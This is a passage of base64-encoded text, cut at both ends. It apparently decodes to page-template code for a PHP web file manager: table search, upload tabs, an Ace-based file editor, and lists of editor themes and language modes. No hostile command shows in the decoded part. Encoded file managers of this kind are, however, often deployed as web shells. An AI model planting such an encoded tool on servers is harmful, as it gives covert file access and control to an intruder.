gRXZlbnRzCiAgICAgICAgICAgICQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgLy8gZGF0YVRhYmxlIGluaXQKICAgICAgICAgICAgICAgIHZhciAkdGFibGUgPSAkKCcjbWFpbi10YWJsZScpLAogICAgICAgICAgICAgICAgICAgIHRhYmxlTG5nID0gJHRhYmxlLmZpbmQoJ3RoJykubGVuZ3RoLAogICAgICAgICAgICAgICAgICAgIF90YXJnZXRzID0gKHRhYmxlTG5nICYmIHRhYmxlTG5nID09IDcpID8gWzAsIDQsIDUsIDZdIDogdGFibGVMbmcgPT0gNSA/IFswLCA0XSA6IFszXTsKICAgICAgICAgICAgICAgIG1haW5UYWJsZSA9ICQoJyNtYWluLXRhYmxlJykuRGF0YVRhYmxlKHsKICAgICAgICAgICAgICAgICAgICBwYWdpbmc6IGZhbHNlLAogICAgICAgICAgICAgICAgICAgIGluZm86IGZhbHNlLAogICAgICAgICAgICAgICAgICAgIG9yZGVyOiBbXSwKICAgICAgICAgICAgICAgICAgICBjb2x1bW5EZWZzOiBbewogICAgICAgICAgICAgICAgICAgICAgICB0YXJnZXRzOiBfdGFyZ2V0cywKICAgICAgICAgICAgICAgICAgICAgICAgb3JkZXJhYmxlOiBmYWxzZQogICAgICAgICAgICAgICAgICAgIH1dCiAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICAvLyBmaWx0ZXIgdGFibGUKICAgICAgICAgICAgICAgICQoJyNzZWFyY2gtYWRkb24nKS5vbigna2V5dXAnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBtYWluVGFibGUuc2VhcmNoKHRoaXMudmFsdWUpLmRyYXcoKTsKICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgICAgICQoImlucHV0I2FkdmFuY2VkLXNlYXJjaCIpLm9uKCdrZXl1cCcsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZS5rZXlDb2RlID09PSAxMykgewogICAgICAgICAgICAgICAgICAgICAgICBmbV9zZWFyY2goKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICAkKCcjc2VhcmNoLWFkZG9uMycpLm9uKCdjbGljaycsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIGZtX3NlYXJjaCgpOwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAgICAgLy91cGxvYWQgbmF2IHRhYnMKICAgICAgICAgICAgICAgICQoIi5mbS11cGxvYWQtd3JhcHBlciAuY2FyZC1oZWFkZXItdGFicyIpLm9uKCJjbGljayIsICdhJywgZnVuY3Rpb24oZSkgewogICAgICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgICAgICBsZXQgdGFyZ2V0ID0gJCh0aGlzKS5kYXRhKCd0YXJnZXQnKTsKICAgICAgICAgICAgICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtaGVhZGVyLXRhYnMgYSIpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKTsKICAgICAgICAgICAgICAgICAgICAkKHRoaXMpLmFkZENsYXNzKCdhY3RpdmUnKTsKICAgICAgICAgICAgICAgICAgICAkKCIuZm0tdXBsb2FkLXdyYXBwZXIgLmNhcmQtdGFicy1jb250YWluZXIiKS5hZGRDbGFzcygnaGlkZGVuJyk7CiAgICAgICAgICAgICAgICAgICAgJCh0YXJnZXQpLnJlbW92ZUNsYXNzKCdoaWRkZW4nKTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9KTsKICAgICAgICA8L3NjcmlwdD4KCiAgICAgICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmIGlzc2V0KCRfR0VUWydlbnYnXSkgJiYgRk1fRURJVF9GSUxFICYmICFGTV9SRUFET05MWSk6CiAgICAgICAgICAgICRleHQgPSBwYXRoaW5mbygkX0dFVFsiZWRpdCJdLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICAgICAkZXh0ID0gIGlzc2V0KCRleHRfbGFuZ3VhZ2VbJGV4dF0pID8gJGV4dF9sYW5ndWFnZVskZXh0XSA6ICAkZXh0OwogICAgICAgID8+CiAgICAgICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1hY2UnKTsgPz4KICAgICAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgICAgIHZhciBlZGl0b3IgPSBhY2UuZWRpdCgiZWRpdG9yIik7CiAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoewogICAgICAgICAgICAgICAgICAgIHBhdGg6ICJhY2UvbW9kZS88P3BocCBlY2hvICRleHQ7ID8+IiwKICAgICAgICAgICAgICAgICAgICBpbmxpbmU6IHRydWUKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgZWRpdG9yLnNldFRoZW1lKCJhY2UvdGhlbWUvPD9waHAgZWNobyBBQ0VfVEhFTUU7ID8+Iik7IC8vIERhcmsgVGhlbWUKICAgICAgICAgICAgICAgIGVkaXRvci5zZXRTaG93UHJpbnRNYXJnaW4oZmFsc2UpOyAvLyBIaWRlIHRoZSB2ZXJ0aWNhbCBydWxlcgogICAgICAgICAgICAgICAgZnVuY3Rpb24gYWNlX2NvbW1lbmQoY21kKSB7CiAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmNvbW1hbmRzLmV4ZWMoY21kLCBlZGl0b3IpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWRpdG9yLmNvbW1hbmRzLmFkZENvbW1hbmRzKFt7CiAgICAgICAgICAgICAgICAgICAgbmFtZTogJ3NhdmUnLAogICAgICAgICAgICAgICAgICAgIGJpbmRLZXk6IHsKICAgICAgICAgICAgICAgICAgICAgICAgd2luOiAnQ3RybC1TJywKICAgICAgICAgICAgICAgICAgICAgICAgbWFjOiAnQ29tbWFuZC1TJwogICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgZXhlYzogZnVuY3Rpb24oZWRpdG9yKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVkaXRfc2F2ZSh0aGlzLCAnYWNlJyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfV0pOwoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHJlbmRlclRoZW1lTW9kZSgpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgJG1vZGVFbCA9ICQoInNlbGVjdCNqcy1hY2UtbW9kZSIpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbCA9ICQoInNlbGVjdCNqcy1hY2UtdGhlbWUiKSwKICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwgPSAkKCJzZWxlY3QjanMtYWNlLWZvbnRTaXplIiksCiAgICAgICAgICAgICAgICAgICAgICAgIG9wdGlvbk5vZGUgPSBmdW5jdGlvbih0eXBlLCBhcnIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciAkT3B0aW9uID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkLmVhY2goYXJyLCBmdW5jdGlvbihpLCB2YWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT3B0aW9uICs9ICI8b3B0aW9uIHZhbHVlPSciICsgdHlwZSArIGkgKyAiJz4iICsgdmFsICsgIjwvb3B0aW9uPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkT3B0aW9uOwogICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICBfZGF0YSA9IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhY2VUaGVtZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYnJpZ2h0IjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY2hyb21lIjogIkNocm9tZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjbG91ZHMiOiAiQ2xvdWRzIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyaW1zb25fZWRpdG9yIjogIkNyaW1zb24gRWRpdG9yIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhd24iOiAiRGF3biIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkcmVhbXdlYXZlciI6ICJEcmVhbXdlYXZlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlY2xpcHNlIjogIkVjbGlwc2UiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ2l0aHViIjogIkdpdEh1YiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpcGxhc3RpYyI6ICJJUGxhc3RpYyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzb2xhcml6ZWRfbGlnaHQiOiAiU29sYXJpemVkIExpZ2h0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHRtYXRlIjogIlRleHRNYXRlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRvbW9ycm93IjogIlRvbW9ycm93IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInhjb2RlIjogIlhDb2RlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImt1cm9pciI6ICJLdXJvaXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia2F0emVubWlsY2giOiAiS2F0emVuTWlsY2giLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3Fsc2VydmVyIjogIlNRTCBTZXJ2ZXIiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGFyayI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFtYmlhbmNlIjogIkFtYmlhbmNlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNoYW9zIjogIkNoYW9zIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNsb3Vkc19taWRuaWdodCI6ICJDbG91ZHMgTWlkbmlnaHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHJhY3VsYSI6ICJEcmFjdWxhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvYmFsdCI6ICJDb2JhbHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ3J1dmJveCI6ICJHcnV2Ym94IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdvYiI6ICJHcmVlbiBvbiBCbGFjayIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpZGxlX2ZpbmdlcnMiOiAiaWRsZSBGaW5nZXJzIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImtyX3RoZW1lIjogImtyVGhlbWUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWVyYml2b3JlIjogIk1lcmJpdm9yZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtZXJiaXZvcmVfc29mdCI6ICJNZXJiaXZvcmUgU29mdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtb25vX2luZHVzdHJpYWwiOiAiTW9ubyBJbmR1c3RyaWFsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1vbm9rYWkiOiAiTW9ub2thaSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwYXN0ZWxfb25fZGFyayI6ICJQYXN0ZWwgb24gZGFyayIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzb2xhcml6ZWRfZGFyayI6ICJTb2xhcml6ZWQgRGFyayIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXJtaW5hbCI6ICJUZXJtaW5hbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0b21vcnJvd19uaWdodCI6ICJUb21vcnJvdyBOaWdodCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0b21vcnJvd19uaWdodF9ibHVlIjogIlRvbW9ycm93IE5pZ2h0IEJsdWUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidG9tb3Jyb3dfbmlnaHRfYnJpZ2h0IjogIlRvbW9ycm93IE5pZ2h0IEJyaWdodCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0b21vcnJvd19uaWdodF9laWdodGllcyI6ICJUb21vcnJvdyBOaWdodCA4MHMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidHdpbGlnaHQiOiAiVHdpbGlnaHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidmlicmFudF9pbmsiOiAiVmlicmFudCBJbmsiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhY2VNb2RlIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqYXZhc2NyaXB0IjogIkphdmFTY3JpcHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhYmFwIjogIkFCQVAiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhYmMiOiAiQUJDIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWN0aW9uc2NyaXB0IjogIkFjdGlvblNjcmlwdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFkYSI6ICJBREEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhcGFjaGVfY29uZiI6ICJBcGFjaGUgQ29uZiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFzY2lpZG9jIjogIkFzY2lpRG9jIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYXNsIjogIkFTTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFzc2VtYmx5X3g4NiI6ICJBc3NlbWJseSB4ODYiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhdXRvaG90a2V5IjogIkF1dG9Ib3RLZXkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhcGV4IjogIkFwZXgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJiYXRjaGZpbGUiOiAiQmF0Y2hGaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYnJvIjogIkJybyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNfY3BwIjogIkMgYW5kIEMrKyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImM5c2VhcmNoIjogIkM5U2VhcmNoIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY2lycnUiOiAiQ2lycnUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjbG9qdXJlIjogIkNsb2p1cmUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb2JvbCI6ICJDb2JvbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvZmZlZSI6ICJDb2ZmZWVTY3JpcHQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb2xkZnVzaW9uIjogIkNvbGRGdXNpb24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjc2hhcnAiOiAiQyMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjc291bmRfZG9jdW1lbnQiOiAiQ3NvdW5kIERvY3VtZW50IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY3NvdW5kX29yY2hlc3RyYSI6ICJDc291bmQiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjc291bmRfc2NvcmUiOiAiQ3NvdW5kIFNjb3JlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY3NzIjogIkNTUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImN1cmx5IjogIkN1cmx5IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZCI6ICJEIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGFydCI6ICJEYXJ0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGlmZiI6ICJEaWZmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZG9ja2VyZmlsZSI6ICJEb2NrZXJmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZG90IjogIkRvdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImRyb29scyI6ICJEcm9vbHMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlZGlmYWN0IjogIkVkaWZhY3QiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlaWZmZWwiOiAiRWlmZmVsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZWpzIjogIkVKUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImVsaXhpciI6ICJFbGl4aXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJlbG0iOiAiRWxtIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXJsYW5nIjogIkVybGFuZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZvcnRoIjogIkZvcnRoIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZm9ydHJhbiI6ICJGb3J0cmFuIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZnNoYXJwIjogIkZTaGFycCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZzbCI6ICJGU0wiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmdGwiOiAiRnJlZU1hcmtlciIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdjb2RlIjogIkdjb2RlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ2hlcmtpbiI6ICJHaGVya2luIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZ2l0aWdub3JlIjogIkdpdGlnbm9yZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdsc2wiOiAiR2xzbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdvYnN0b25lcyI6ICJHb2JzdG9uZXMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJnb2xhbmciOiAiR28iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJncmFwaHFsc2NoZW1hIjogIkdyYXBoUUxTY2hlbWEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJncm9vdnkiOiAiR3Jvb3Z5IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFtbCI6ICJIQU1MIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFuZGxlYmFycyI6ICJIYW5kbGViYXJzIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFza2VsbCI6ICJIYXNrZWxsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGFza2VsbF9jYWJhbCI6ICJIYXNrZWxsIENhYmFsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGF4ZSI6ICJoYVhlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaGpzb24iOiAiSGpzb24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJodG1sIjogIkhUTUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJodG1sX2VsaXhpciI6ICJIVE1MIChFbGl4aXIpIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaHRtbF9ydWJ5IjogIkhUTUwgKFJ1YnkpIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaW5pIjogIklOSSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImlvIjogIklvIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiamFjayI6ICJKYWNrIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiamFkZSI6ICJKYWRlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiamF2YSI6ICJKYXZhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAianNvbiI6ICJKU09OIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAianNvbmlxIjogIkpTT05pcSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImpzcCI6ICJKU1AiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqc3NtIjogIkpTU00iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJqc3giOiAiSlNYIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAianVsaWEiOiAiSnVsaWEiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJrb3RsaW4iOiAiS290bGluIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibGF0ZXgiOiAiTGFUZVgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsZXNzIjogIkxFU1MiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsaXF1aWQiOiAiTGlxdWlkIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibGlzcCI6ICJMaXNwIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibGl2ZXNjcmlwdCI6ICJMaXZlU2NyaXB0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibG9naXFsIjogIkxvZ2lRTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImxzbCI6ICJMU0wiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsdWEiOiAiTHVhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibHVhcGFnZSI6ICJMdWFQYWdlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibHVjZW5lIjogIkx1Y2VuZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1ha2VmaWxlIjogIk1ha2VmaWxlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWFya2Rvd24iOiAiTWFya2Rvd24iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYXNrIjogIk1hc2siLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtYXRsYWIiOiAiTUFUTEFCIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWF6ZSI6ICJNYXplIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibWVsIjogIk1FTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm1peGFsIjogIk1JWEFMIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibXVzaGNvZGUiOiAiTVVTSENvZGUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJteXNxbCI6ICJNeVNRTCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIm5peCI6ICJOaXgiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuc2lzIjogIk5TSVMiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvYmplY3RpdmVjIjogIk9iamVjdGl2ZS1DIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAib2NhbWwiOiAiT0NhbWwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwYXNjYWwiOiAiUGFzY2FsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGVybCI6ICJQZXJsIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGVybDYiOiAiUGVybCA2IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGdzcWwiOiAicGdTUUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwaHBfbGFyYXZlbF9ibGFkZSI6ICJQSFAgKEJsYWRlIFRlbXBsYXRlKSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBocCI6ICJQSFAiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwdXBwZXQiOiAiUHVwcGV0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicGlnIjogIlBpZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInBvd2Vyc2hlbGwiOiAiUG93ZXJzaGVsbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByYWF0IjogIlByYWF0IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicHJvbG9nIjogIlByb2xvZyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByb3BlcnRpZXMiOiAiUHJvcGVydGllcyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInByb3RvYnVmIjogIlByb3RvYnVmIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicHl0aG9uIjogIlB5dGhvbiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInIiOiAiUiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJhem9yIjogIlJhem9yIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmRvYyI6ICJSRG9jIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicmVkIjogIlJlZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJodG1sIjogIlJIVE1MIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnN0IjogIlJTVCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJ1YnkiOiAiUnVieSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInJ1c3QiOiAiUnVzdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNhc3MiOiAiU0FTUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNjYWQiOiAiU0NBRCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNjYWxhIjogIlNjYWxhIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic2NoZW1lIjogIlNjaGVtZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNjc3MiOiAiU0NTUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNoIjogIlNIIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic2pzIjogIlNKUyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNsaW0iOiAiU2xpbSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNtYXJ0eSI6ICJTbWFydHkiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzbmlwcGV0cyI6ICJzbmlwcGV0cyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNveV90ZW1wbGF0ZSI6ICJTb3kgVGVtcGxhdGUiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzcGFjZSI6ICJTcGFjZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInNxbCI6ICJTUUwiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzcWxzZXJ2ZXIiOiAiU1FMU2VydmVyIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAic3R5bHVzIjogIlN0eWx1cyIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInN2ZyI6ICJTVkciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJzd2lmdCI6ICJTd2lmdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRjbCI6ICJUY2wiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXJyYWZvcm0iOiAiVGVycmFmb3JtIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidGV4IjogIlRleCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHQiOiAiVGV4dCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRleHRpbGUiOiAiVGV4dGlsZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRvbWwiOiAiVG9tbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRzeCI6ICJUU1giLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0d2lnIjogIlR3aWciLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0eXBlc2NyaXB0IjogIlR5cGVzY3